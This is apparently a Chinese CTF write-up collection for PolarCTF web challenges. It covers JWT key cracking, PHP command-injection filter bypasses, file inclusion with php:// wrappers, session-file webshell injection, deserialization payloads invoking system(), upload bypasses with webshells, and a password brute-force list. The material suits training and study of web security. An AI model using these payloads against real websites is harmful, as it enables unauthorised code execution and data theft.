简单 jwt 随便注册个账号后登录通过jwt爆破工具爆破出key为SYSA,加密为admin后访问个人主页获得flag
井字棋 前端发现关键代码,直接请求就行
function declareWinner (who ) { document .querySelector (".endgame" ).style .display = "block" ; document .querySelector (".endgame .text" ).innerText = who; const winner = who === "您赢了!" ? "player" : "ai" ; fetch ("game.php" , { method : "POST" , headers : { "Content-Type" : "application/json" }, body : JSON .stringify ({ winner : winner }) }) .then (response => response.json ()) .then (data => { if (data.flag ) { alert ("Flag: " + data.flag ); } else if (data.message ) { alert (data.message ); } }) .catch (error => { console .error ("Error:" , error); }); }
swp(php特性) 扫目录就能找到/.index.php.swp
,访问得到源码
function jiuzhe ($xdmtql ) { return preg_match ('/sys.*nb/is' , $xdmtql ); } $xdmtql = @$_POST ['xdmtql' ];if (!is_array ($xdmtql )) { if (!jiuzhe ($xdmtql )) { if (strpos ($xdmtql , 'sys nb' ) !== false ) { echo 'flag{*******}' ; } else { echo 'true .swp file?' ; } } else { echo 'nijilenijile' ; } } 所以,要得到flag的条件是: 1 . $xdmtql 不是数组。2 . jiuzhe函数返回false ,即preg_match不匹配。3 . strpos检查$xdmtql 中存在'sys nb' 字符串。
这里一个知识点就是preg_match
函数处理的字符长度有限,如果超过这个长度就会返回false也就是没有匹配到。利用下面的代码进行回溯,让preg_match
函数报错,绕过该函数
import requestsdata = {"xdmtql" : "sys nb" + "aaaaa" * 1000000 } res = requests.post('http://3b6cf073-93a4-4f15-b132-68507e551d1a.www.polarctf.com:8090/' , data=data, allow_redirects=False ) print (res.content)
简单rce(命令执行) <?php highlight_file (__FILE__ );function no ($txt ) { if (!preg_match ("/cat|more|less|head|tac|tail|nl|od|vim|uniq|system|proc_open|shell_exec|popen| /i" , $txt )){ return $txt ;} else { die ("what's up" );}}$yyds =($_POST ['yyds' ]);if (isset ($_GET ['sys' ])&&$yyds =='666' ){ eval (no ($_GET ['sys' ])); } else {echo "nonono" ; } ?>
GET:sys=passthru("ls%09/"); POST:yyds=666
GET:sys=passthru("ta\c%09/flag"); 或sys=passthru("ta\c</flag"); POST:yyds=666
非常好绕的命令执行(命令执行) <?php highlight_file (__FILE__ );$args1 = $_GET ['args1' ];$args2 = $_GET ['args2' ];$args3 = $_GET ['args3' ];$evil = $args1 .'(' .$args2 .')(' .$args3 .')' .';' ; $blacklist = '/system|ass|exe|nc|eval|copy|write|\.|\>|\_|\^|\~|%|\$|\[|\]|\{|\}|\&|\-/i' ;if (!preg_match ($blacklist ,$evil ) and !ctype_space ($evil ) and ctype_graph ($evil )) { echo "<br>" .$evil ."<br>" ; eval ($evil ); } ?>
args1=echo&args2=`ls`);%23&args3=1 //flagggg index.php args1=echo&args2=`tac<flagggg`);%23&args3=1 注:php中``作用是将反引号内命令先执行一次,因此再输出就能执行该命令。并且这里的#需要url编码
题解中还有种方法是通过hex2bin绕过,即十六进制绕过
网站被黑(文件包含) 一眼看去没漏洞点,扫目录试试
看了下没啥东西,抓包看看
发现hint:F5XDAXZQNZSV6ZRRNZSF63JTF4======
,base解码挨着试一遍发现是base32,解码得/n0_0ne_f1nd_m3/
,源码如下
<?php error_reporting (0 );$text = $_GET ["text" ];$file = $_GET ["file" ];if (isset ($text )&&(file_get_contents ($text ,'r' )==="welcome to the 504sys" )){ echo "<br><h1>" .file_get_contents ($text ,'r' )."</h1></br>" ; if (preg_match ("/flag|data|base|write|input/i" ,$file )){ echo "I am sorry but no way!" ; exit (); }else { include ($file ); } } else { highlight_file (__FILE__ ); } ?>
GET:text=php://input&file=php://filter/read=string.rot13/resource=imposible.php POST:welcome to the 504sys 注意是在/n0_0ne_f1nd_m3/下传参,并且传参中不能有空格,所以必须用php:input来实现
蜜雪冰城吉警店(前端修改) 提示要点第九杯奶茶,通过修改前端页面中id=9,再点击按钮就能获得flag
iphone(更改UA) 进去让点按钮,但是提示必须从iPhone或ipad访问,抓包伪造UA,直接获得flag
Mozilla/5.0 (iPad; CPU OS 16_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.4 Mobile/15E148 Safari/604.1
浮生日记(XSS) 提示弹个窗试试,先试试xss常用语句
<script>alert(1)</script>
script
被过滤,尝试双写绕过
<sscriptcript>alert(1)</sscriptcript>
没有成功,尝试先闭合
"><sscriptcript>alert(1)</sscriptcript>
点击确定获得flag
seek flag(robots.txt) 先看源码,发现提示爬虫爬到flag怎么办,果断查看robots.txt
,获得flag3:c0ad71dadd11}
看到cookie中有id=0,改为id=1获得flag1:flag{7ac5b
最后在流量中找到flag2:3ca8737a70f029d
结合起来:flag{7ac5b3ca8737a70f029dc0ad71dadd11}
XFF(更改X-Forwarded-For) 进去看到限制ip为1.1.1.1,直接请求头内修改X-Forwarded-For
获得flag
rce1(命令执行) <?php $res = FALSE ;if (isset ($_GET ['ip' ]) && $_GET ['ip' ]) { $ip = $_GET ['ip' ]; $m = []; if (!preg_match_all ("/ /" , $ip , $m )) { $cmd = "ping -c 4 {$ip} " ; exec ($cmd , $res ); } else { $res = $m ; } } ?>
隔开之后执行命令就行
ip=;ls; ip=;cat${IFS}fllllaaag.php; //源码中找到
GET-POST(传参) <?php highlight_file (__FILE__ );include ('flag.php' );$id = $_GET ['id' ];echo "你必须让我感受到你的真诚,用GET请求传递一下id吧,令id=1" ;if ($id == '1' ){ echo "干的漂亮" ; echo "<br/>" ; echo "虽然我感受到了你的真诚,但还是不行,用POST请求传递一下jljcxy吧,令jljcxy=flag" ; $jljcxy = $_POST ['jljcxy' ]; if ($jljcxy == 'flag' ){ echo $flag ; } }
被黑掉的站(弱口令) 扫目录找到/index.php.bak
和/shell.php
,看到/shell.php
中有密码框,/index.php.bak
有酷似密码的东西,直接抓包爆破就行
123456 123456789 123123 111111 anhyeuem 1234567 123456789 123456 12345678 000000 asdasd 25251325 1234567890 121212 123321 zxcvbnm qweqwe 456789 112233 aaaaaa 123123123 987654321 11111111 qwerty 147258369 maiyeuem 123qwe 654321 iloveyou 123654 999999 qqqqqq 1111111 147258 hota407 anhtuan 222222 159753 11223344 anhnhoem anh123 159357 qwertyuiop asd123 987654321 emyeuanh mmmmmm 12345 666666 anhanh 123789 phuong 111222 qweasd hanoiyeudau nguyen 789456 1111111111 mylove 789456123 19001560 qwe123 asdfghjkl pppppp anhhung 1234560 abc123 maiyeu 123456a zzzzzz quangninh 987654 555555 tuananh asasas asdfgh zxcvbn 321321 tinhyeu 147852369 456123 matkhau 147852 12345678910 thienthan nikel anhyeu 111111111 toiltoi 10cham0 147258369 456456 khongbiet 789789 a123456 333333 888888 123654789 truong maimaiyeuem hhhhhh
当密码为nikel
时成功登录获得flag
召唤神龙(jsfuck解码) 在源码的main.js中找到明显的JSfuck
编码,解码 得到flag
JSFuck是基于JavaScript原子部分的深奥和教育性编程风格。它仅仅使用六个不同的字符来编写和执行代码。
分别是:{ } [ ] + ! 它不依赖于浏览器,因此可以在Node.js上运行。
(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(![]+[+[]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[!+[]+!+[]+[+[]]]+(![]+[])[+[]]+([][[]]+[])[!+[]+!+[]]+(![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(![]+[])[+[]]+([][[]]+[])[!+[]+!+[]]+([][[]]+[])[!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+([][[]]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(![]+[])[+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]]((+((+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+[+[]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]])+[])[!+[]+!+[]]+[+!+[]])
login(爆破) 源码找到20200101/20200101
成功登录,然后没思路了,看wp发现从01往上每个回显一个字符,爆破获得flag
flag{dlcg}
爆破(脚本) <?php error_reporting (0 );if (isset ($_GET ['pass' ])){ $pass = md5 ($_GET ['pass' ]); if (substr ($pass , 1 ,1 )===substr ($pass , 14 ,1 ) && substr ($pass , 14 ,1 ) ===substr ($pass , 17 ,1 )){ if ((intval (substr ($pass , 1 ,1 ))+intval (substr ($pass , 14 ,1 ))+substr ($pass , 17 ,1 ))/substr ($pass , 1 ,1 )===intval (substr ($pass , 31 ,1 ))){ include ('flag.php' ); echo $flag ; } } }else { highlight_file (__FILE__ ); } ?>
直接python写代码爆破
import hashlibimport itertoolsdef crack_password (): chars = 'abcdefghijklmnopqrstuvwxyz0123456789' for length in range (4 , 7 ): for candidate in itertools.product(chars, repeat=length): password = '' .join(candidate) md5_hash = hashlib.md5(password.encode()).hexdigest() ''' 条件检查顺序优化: 1. 先检查第32位是否='3'(快速过滤90%以上无效值) 2. 再检查第2/15/18位是否相同且为数字 3. 最后验证算术条件 ''' if ( md5_hash[31 ] == '3' and md5_hash[1 ] == md5_hash[14 ] == md5_hash[17 ] and md5_hash[1 ].isdigit() and md5_hash[1 ] != '0' ): c = int (md5_hash[1 ]) if (3 * c) // c == 3 : print (f'爆破成功!密码为: {password} ' ) print (f'对应MD5哈希: {md5_hash} ' ) return if __name__ == '__main__' : crack_password()
最终pass=ae2c
$$(超全局变量GLOBALS) <?php highlight_file (__file__);error_reporting (0 ); include "flag.php" ;$a =$_GET ['c' ];if (isset ($_GET ['c' ])){ if (preg_match ('/flag|\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/' , $a )){ die ("oh on!!!" );} else { eval ("var_dump($$a );" );}}
可能存在一个超全局变量GLOBALS
$GLOBALS:引用全局作用域中可用的全部变量(一个包含了全部变量的全局组合数组。变量的名字就是数组的键),与所有其他超全局变量不同,$GLOBALS在PHP代码中任何地方总是可用的
说到GOLBALS就不能不说到global,那两者有何不同呢?请往下看
global在PHP中的解析是:global的作用是定义全局变量,但是这个全局变量不是应用于整个网站,而是应用于当前页面,包括include或require的所有文件。 注:在函数体内定义的global变量,函数体外可以使用,在函数体外定义的global变量不能在函数体内使用 $GLOBALS:用于访问所有全局变量(来自全局范围的变量),即可以从PHP脚本中的任何范围访问的变量。
所以直接传参c=GLOBALS
获得flag
debudao(信息搜集) 源码中看到$flag
,但是是错的,在cookie中看到url编码后的flag
签到题 改cookie
Li9kYXRhL2luZGV4LnBocA
base64解码得./data/index.php
<?php error_reporting (0 ); $file = $_GET ['file' ]; if (!isset ($file )) $file = '1' ; $file = str_replace ('../' , '' , $file ); include_once ($file .".php" ); highlight_file (__FILE__ ); ?>
由于include会直接执行文件,所以用伪协议访问
file=php://filter/read=convert.base64-encode/resource=..././..././..././..././..././flag
flag{92eb5ffee6ae2fec3ad71c777531578f}
签到 将提交按钮提交显示提交ilovejljcxy
,并且注意到对长度有限制。去掉disable
和添加长度至11以上获得flag
flag{fa3f77dd58a0a8f990bb6292da75618f}
session文件包含 尝试发现文件遍历漏洞,尝试伪协议读取
file=php://filter/read=convert.base64-encode/resource=action.php
<?php session_start ();error_reporting (0 );$name = $_POST ['name' ];if ($name ){ $_SESSION ["username" ] = $name ; } include ($_GET ['file' ]); ?> <!DOCTYPE html> <html> <head> </head> <body> <a href=action.php?file=1 .txt>my dairy</a> <a href=action.php?file=2 .txt>my booklist</a> </body> </html>
可以发现可通过name
来实现命令执行,session
文件命名通常为sess_PHPSESSID
,在tmp目录下,因此直接传马来执行命令
GET:file=../../tmp/sess_umkei44oreufjbmjop5thshm57 POST:name=<?php eval($_POST[123]);?>&123=system("tac /flaggggg");
flag{43306e8113f53ece238c0a124432ce19}
Don’t touch me 源码找到./2.php
,2.php
中源码找到按钮点击元素为3.php
,3.php
中源码找到访问fla.php
flag{0cee5a97f12b172ceeea2e9f67b7413e}
robots 访问robots.txt
找到/fl0g.php
flag{2f37589152daf6f111b232ef4aea1304}
php very nice <?php highlight_file (__FILE__ ); class Example { public $sys ='Can you find the leak?' ; function __destruct ( ) { eval ($this ->sys); } } unserialize ($_GET ['a' ]); ?>
exp为
<?php class Example { public $sys ='system("ls");' ; } $a =new Example (); echo serialize ($a ); ?>
a=O:7:"Example":1:{s:3:"sys";s:13:"system("ls");";} a=O:7:"Example":1:{s:3:"sys";s:17:"system("tac f*");";}
flag{202cb962ac59075b964b07152d234b70}
ezupload 先尝试直接上传,提示Sorry, we only allow uploading GIF images
,那就加上文件头GIF89a
上传
但是还是不行,尝试修改文件类型mime type
为image/gif
成功上传,蚁剑连接在上一层目录找到flag.php
文件
flag{ffffffffllllaaggg_!!!}
cookie欺骗 改cookie
就行
flag{10e35c76602b330149ef009e0b484d8f}
upload 源码提示访问?action=show_code
,源码如下
$is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists (UPLOAD_PATH)) { $deny_ext = array ("php" ,"php5" ,"php4" ,"php3" ,"php2" ,"html" ,"htm" ,"phtml" ,"pht" ,"jsp" ,"jspa" ,"jspx" ,"jsw" ,"jsv" ,"jspf" ,"jtml" ,"asp" ,"aspx" ,"asa" ,"asax" ,"ascx" ,"ashx" ,"asmx" ,"cer" ,"swf" ,"htaccess" ); $file_name = trim ($_FILES ['upload_file' ]['name' ]); $file_name = str_ireplace ($deny_ext ,"" , $file_name ); $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH.'/' .rand (10000 ,99999 ).$file_name ; if (move_uploaded_file ($temp_file , $img_path )) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
要将后缀替换为空,双写后缀就行。上传的图像就在下方显示,直接看到随机数后传参就行
123=system("ls ../"); //flag.php 123=system("tac ../flag.php");
flag{a89f40341f4271659154829a2215f428}
干正则 <?php error_reporting (0 );if (empty ($_GET ['id' ])) { show_source (__FILE__ ); die (); } else { include 'flag.php' ; $a = "www.baidu.com" ; $result = "" ; $id = $_GET ['id' ]; @parse_str ($id ); echo $a [0 ]; if ($a [0 ] == 'www.polarctf.com' ) { $ip = $_GET ['cmd' ]; if (preg_match ('/flag\.php/' , $ip )) { die ("don't show flag!!!" ); } $result .= shell_exec ('ping -c 2 ' . $a [0 ] . $ip ); if ($result ) { echo "<pre>{$result} </pre>" ; } } else { exit ('其实很简单!' ); } }
关键就是@parse_str($id);
,这里能让我们进行变量覆盖。后面直接分隔后命令执行就可以
id=a[0]=www.polarctf.com&cmd=;ls //flag.php id=a[0]=www.polarctf.com&cmd=;tac f*
flag{e44882416c9fa79cc5a6a51e6e19cdbc}
cool <?php if (isset ($_GET ['a' ])){ $a = $_GET ['a' ]; if (is_numeric ($a )){ echo "no" ; } if (!preg_match ("/flag|system|php/i" , $a )){ eval ($a ); } }else { highlight_file (__FILE__ ); } ?>
a=passthru("ls"); //flag.txt a=passthru("tac f*");
flag{4512esfgsdIirhgui82545er4g5e5rg4er1}
uploader <?php $sandBox = md5 ($_SERVER ['REMOTE_ADDR' ]);if (!is_dir ($sandBox )){ mkdir ($sandBox ,0755 ,true ); } if ($_FILES ){ move_uploaded_file ($_FILES ['file' ]['tmp_name' ],$sandBox ."/" .$_FILES ["file" ]["name" ]); echo "上传文件名: " . $_FILES ["file" ]["name" ] . "<br>" ; echo "文件类型: " . $_FILES ["file" ]["type" ] . "<br>" ; echo "文件大小: " . ($_FILES ["file" ]["size" ] / 1024 ) . " kB<br>" ; echo $sandBox ; } highlight_file (__FILE__ );
用python脚本上传文件
import requests url = 'http://055a0922-a994-45ee-9635-c9232735cb7f.www.polarctf.com:8090/' files = {'file' : open ('D:\Python\yijihua.php' , 'rb' )} response = requests.post(url, files=files) if response.status_code == 200 : print ("文件上传成功!" ) print ("服务器返回的消息:" , response.text) else : print ("文件上传失败!" ) print ("错误码:" , response.status_code)
17a73e5b74447c41b5b6d9674e963b8d/1.php
即为文件路径,蚁剑连接根目录找到flag
flag{256d5ca173f463165db6ed366b597da8}
覆盖 <?php error_reporting (0 );if (empty ($_GET ['id' ])) { show_source (__FILE__ ); die (); } else { include 'flag.php' ; $a = "www.baidu.com" ; $result = "" ; $id = $_GET ['id' ]; @parse_str ($id ); echo $a [0 ]; if ($a [0 ] == 'www.polarctf.com' ) { $ip = $_GET ['cmd' ]; $result .= shell_exec ('ping -c 2 ' . $a [0 ] . $ip ); if ($result ) { echo "<pre>{$result} </pre>" ; } } else { exit ('其实很简单!' ); } }
和前面的干正则 一样
id=a[0]=www.polarctf.com&cmd=;ls //flag.php id=a[0]=www.polarctf.com&cmd=;tac f*
flag{e44882416c9fa79cc5a6a51e6e19cdbc}
PHP反序列化初试 <?php class Easy { public $name ; public function __wakeup ( ) { echo $this ->name; } } class Evil { public $evil ; private $env ; public function __toString ( ) { $this ->env=shell_exec ($this ->evil); return $this ->env; } } if (isset ($_GET ['easy' ])){ unserialize ($_GET ['easy' ]); }else { highlight_file (__FILE__ ); }
这里本来shenll_exec
是无回显函数,但是下面给出了返回值,因此通过__wakeup
中的echo来触发__toString
正常打就行
<?php class Easy { public $name ; } class Evil { public $evil ="ls" ; private $env ; } $a =new Easy ();$a ->name=new Evil ();echo urlencode (serialize ($a ));
easy=O%3A4%3A%22Easy%22%3A1%3A%7Bs%3A4%3A%22name%22%3BO%3A4%3A%22Evil%22%3A2%3A%7Bs%3A4%3A%22evil%22%3Bs%3A2%3A%22ls%22%3Bs%3A9%3A%22%00Evil%00env%22%3BN%3B%7D%7D easy=O%3A4%3A%22Easy%22%3A1%3A%7Bs%3A4%3A%22name%22%3BO%3A4%3A%22Evil%22%3A2%3A%7Bs%3A4%3A%22evil%22%3Bs%3A6%3A%22tac+f%2A%22%3Bs%3A9%3A%22%00Evil%00env%22%3BN%3B%7D%7D
flag{08a46a069bd77e33531bb2ab244f4196}
机器人 直接访问robots.txt
,获得flag{4749ea1ea481a5d
和另一个路由/27f5e15b6af3223f1176293cd015771d
最后发现加上flag.php
获得剩下的flag
flag{4749ea1ea481a5d56685442c8516b61c}
扫扫看 尝试几个未果后还是只能扫目录,发现flag.php可以直接访问,源码获得flag
flag{094c9cc14068a7d18ccd0dd3606e532f}
审计 <?php error_reporting (0 );include ("flag.php" );highlight_file (__FILE__ );if (isset ($_GET ['xxs' ])) { $input = $_GET ['xxs' ]; if (is_array ($input )) { die ("错误:输入类型不允许为数组。" ); } if (!preg_match ("/^0e[0-9]+$/" , md5 ($input ))) { die ("错误:输入的MD5值必须以'0e'开头,并跟随数字。" ); } if (!is_numeric ($input )) { die ("错误:输入必须是数字。" ); } die ("恭喜:" .$flag ); } else { die ("错误:必须设置正确参数。" ); } ?>
补充下MD5后0e开头的
QNKCDZO QLTHNDT 240610708 s214587387a s878926199a s155964671a 0e215962017 #注意,最后一个可以用于$a==md5($a),md5加密后仍以0e开头
直接传参xxs=240610708
flag{1bc29b36f623ba82aaf6724fd3b16718}
upload1 前端检测,先传jpg文件再抓包改包即可
蚁剑连接根目录找到/flag.txt
flag{adbf5a778175ee757c34d0eba4e932bc}
rapyiquan <?php error_reporting (0 );highlight_file (__FILE__ );header ('content-type:text/html;charset=utf-8' );$url = $_SERVER ['REQUEST_URI' ]; function checkUrlParams ($params ) { if (strpos ($params , '_' ) !== false ) { return false ; } return true ; } if (checkUrlParams ($url )){ $cmd =$_GET ['c_md' ]; if (preg_match ("/ls|dir|flag|type|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i" , $cmd )) { echo ("badly!" ); } else { echo `$cmd `; } }else { echo "$url " ; echo "<br>" ; echo "Hack" ; }
首先对url里面检测下划线,因此用[
代替下划线绕过。并且并没有过滤斜线和反斜线,反斜线绕过
c[md=l\s / //flag.php c[md=ta\c /fla\g.php
flag{cf7d0e14fbf7845e50d53a478d3d10eb}
bllbl_ser1 进去将代码整理一下,得到
<?php class bllbl { public $qiang ; function __destruct ( ) { $this ->bllliang (); } function bllliang ( ) { $this ->qiang->close (); } } class bllnbnl { public $er ; function close ( ) { eval ($this ->er); } } if (isset ($_GET ['blljl' ])){ $user_data =unserialize ($_GET ['blljl' ]); }
一个简单的反序列化,链子如下
bllnbnl::close->bllbl::bllliang->bllbl::__destruct
exp如下
<?php class bllbl { public $qiang ; function bllliang ( ) { $this ->qiang->close (); } } class bllnbnl { public $er ='system("ls /");' ; function close ( ) { eval ($this ->er); } } $a =new bllbl ();$a ->qiang=new bllnbnl ();echo serialize ($a );
blljl=O:5:"bllbl":1:{s:5:"qiang";O:7:"bllnbnl":1:{s:2:"er";s:15:"system("ls /");";}} blljl=O:5:"bllbl":1:{s:5:"qiang";O:7:"bllnbnl":1:{s:2:"er";s:20:"system("cat /flag");";}}
flag{f2fe05c8ecca794c80e3a46d7fa5b47e}
1ncIud3 根据页面提示用page来目录遍历
page=../../../../../flag //不会如此容易,何不如像题目一样替换一些字符,不过需要你仔细寻找,同时你需要考虑这里可能过滤了一些符号。
猜测替换了..
为空,用..././
绕过,同时尝试替换flag的字词,最后f1a9
成功
这里很离谱的是只能返回两层目录,否则就未找到
flag{b7e5578d5f11ee7db50f30596052293f}
投喂 Welcome to the CTF Challenge! Use the following API to interact: POST a parameter "data" containing serialized User object Hint: You might want to understand how PHP serialization works. Try to serialize a User object with the username and is_admin properties. Extra Hint: If you can make the server think you are an admin (is_admin=true), you might get something special.
按照提示构建user类
<?php class user { public $username ='admin' ; public $is_admin =1 ; } $a =new user ();echo serialize ($a );
flag{6f450d5d498782e74580b57b1bdd138e}
狗黑子的RCE <?php error_reporting (0 );highlight_file (__FILE__ );header ('content-type:text/html;charset=utf-8' ); $gouheizi1 =$_GET ['gouheizi1' ]; $gouheizi2 =$_POST ['gouheizi2' ]; $gouheizi2 =str_replace ('gouheizi' , '' , $gouheizi2 ); if (preg_match ("/ls|dir|flag|type|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i" , $gouheizi1 )) { echo ("badly!" ); exit ; } if ($gouheizi2 ==="gouheizi" ){ system ($gouheizi1 ); }else { echo "gouheizi!" ; } ?>
这里的gouheizi2
直接双写绕过就行,
GET:gouheizi1=ta\c /f\lag.php POST:gouheizi2=gougouheiziheizi
flag{d22add0cf74c46feffe95e7f8064136b}
看源码,访问/proxy.php?file=flag
,源码找到flag
flag{ce50a09343724eb82df11390e2c1de18}
简单的导航站 先注册后登录,发现页面用户列表有源码如下
<?php header ("Content-Type:text/html;charset=utf-8" );show_source (__FILE__ );include ('user.php' );$user1 = $_GET ['user1' ];$user2 = $_GET ['user2' ];if ($user1 != $user2 ) { if (md5 ($user1 ) === md5 ($user2 )) { echo '用户名:' . $user ; } else { echo 'MD5值校验出错啦啦啦......' ; } } else { echo 'user不能相等!' ; } ?>
拿下用户列表
123456 123456789 123123 111111 anhyeuem 1234567 12345678 000000 asdasd 25251325 1234567890 121212 123321 zxcvbnm qweqwe 456789 112233 aaaaaa 123123123 987654321 11111111 qwerty 147258369 maiyeuem 123qwe 654321 iloveyou 123654 999999 qqqqqq 1111111 147258 hota407 anhtuan 222222 159753 11223344 anhnhoem anh123 159357 qwertyuiop asd123 987654321 emyeuanh mmmmmm 12345 666666 anhanh 123789 phuong 111222 qweasd hanoiyeudau nguyen 789456 1111111111 mylove 789456123 19001560 qwe123 asdfghjkl pppppp anhhung 1234560 abc123 maiyeu 123456a zzzzzz quangninh 987654 555555 tuananh asasas asdfgh zxcvbn 321321 tinhyeu 147852369 456123 matkhau 147852 12345678910 thienthan nikel anhyeu 111111111 toilatoi 10cham0 147258369 456456 khongbiet 789789 P0la2adm1n a123456 333333 888888 123654789 truong maimaiyeuem hhhhhh User john admin alice bob administrator user wackopicko adam sample 123456 Password password 12345678 qwerty 12345 letmein 1234567 football iloveyou admin welcome monkey login abc123 starwars dragon passw0rd p@ssword p@ssw0rd master hello freedom whatever qazwsx trustno1
即
123456 123456789 123123 111111 anhyeuem 1234567 12345678 000000 asdasd 25251325 1234567890 121212 123321 zxcvbnm qweqwe 456789 112233 aaaaaa 123123123 987654321 11111111 qwerty 147258369 maiyeuem 123qwe 654321 iloveyou 123654 999999 qqqqqq 1111111 147258 hota407 anhtuan 222222 159753 11223344 anhnhoem anh123 159357 qwertyuiop asd123 987654321 emyeuanh mmmmmm 12345 666666 anhanh 123789 phuong 111222 qweasd hanoiyeudau nguyen 789456 1111111111 mylove 789456123 19001560 qwe123 asdfghjkl pppppp anhhung 1234560 abc123 maiyeu 123456a zzzzzz quangninh 987654 555555 tuananh asasas asdfgh zxcvbn 321321 tinhyeu 147852369 456123 matkhau 147852 12345678910 thienthan nikel anhyeu 111111111 toilatoi 10cham0 147258369 456456 khongbiet 789789 P0la2adm1n a123456 333333 888888 123654789 truong maimaiyeuem hhhhhh User john admin alice bob administrator user wackopicko adam sample 123456 Password password 12345678 qwerty 12345 letmein 1234567 football iloveyou admin welcome monkey login abc123 starwars dragon passw0rd p@ssword p@ssw0rd master hello freedom whatever qazwsx trustno1
其中有管理员账号,直接去爆破试试,密码再源码中有提示为Admin1234!
爆破得到用户名为P0la2adm1n
上传文件,源码中给出提示$allowed_extensions = ['txt','htaccess'];
<FilesMatch "1.txt"> SetHandler application/x-httpd-php </FilesMatch>
先上传.htaccess
文件内容如上,然后上传1.txt
访问uploads/1.txt
传参
但是不知道为啥这里一直连不上,尝试后发现这里根本没有限制,直接传一个php就能连,最终找到flags.txt文件,按理来说要去flag判断那里爆破,但是这里可以直接看源码
<?php if ($_SERVER ["REQUEST_METHOD" ] == "POST" ) { $input = $_POST ['inputField' ]; $response = ($input === 'flag{T4PwCg1RrQNsO4EcrQmU}' ) ? 'yes' : 'no' ; echo $response ; } else { echo '无效请求' ; } ?>
flag{T4PwCg1RrQNsO4EcrQmU}
好吧,这里.htaccess
的配置文件根本没开,奇奇怪怪。参考文章文件上传之 .htaccess文件getshell_上传.htaccess后再上传jpg文件-CSDN博客
background 源码中发现script.js
,访问change_background.php
后尝试命令执行
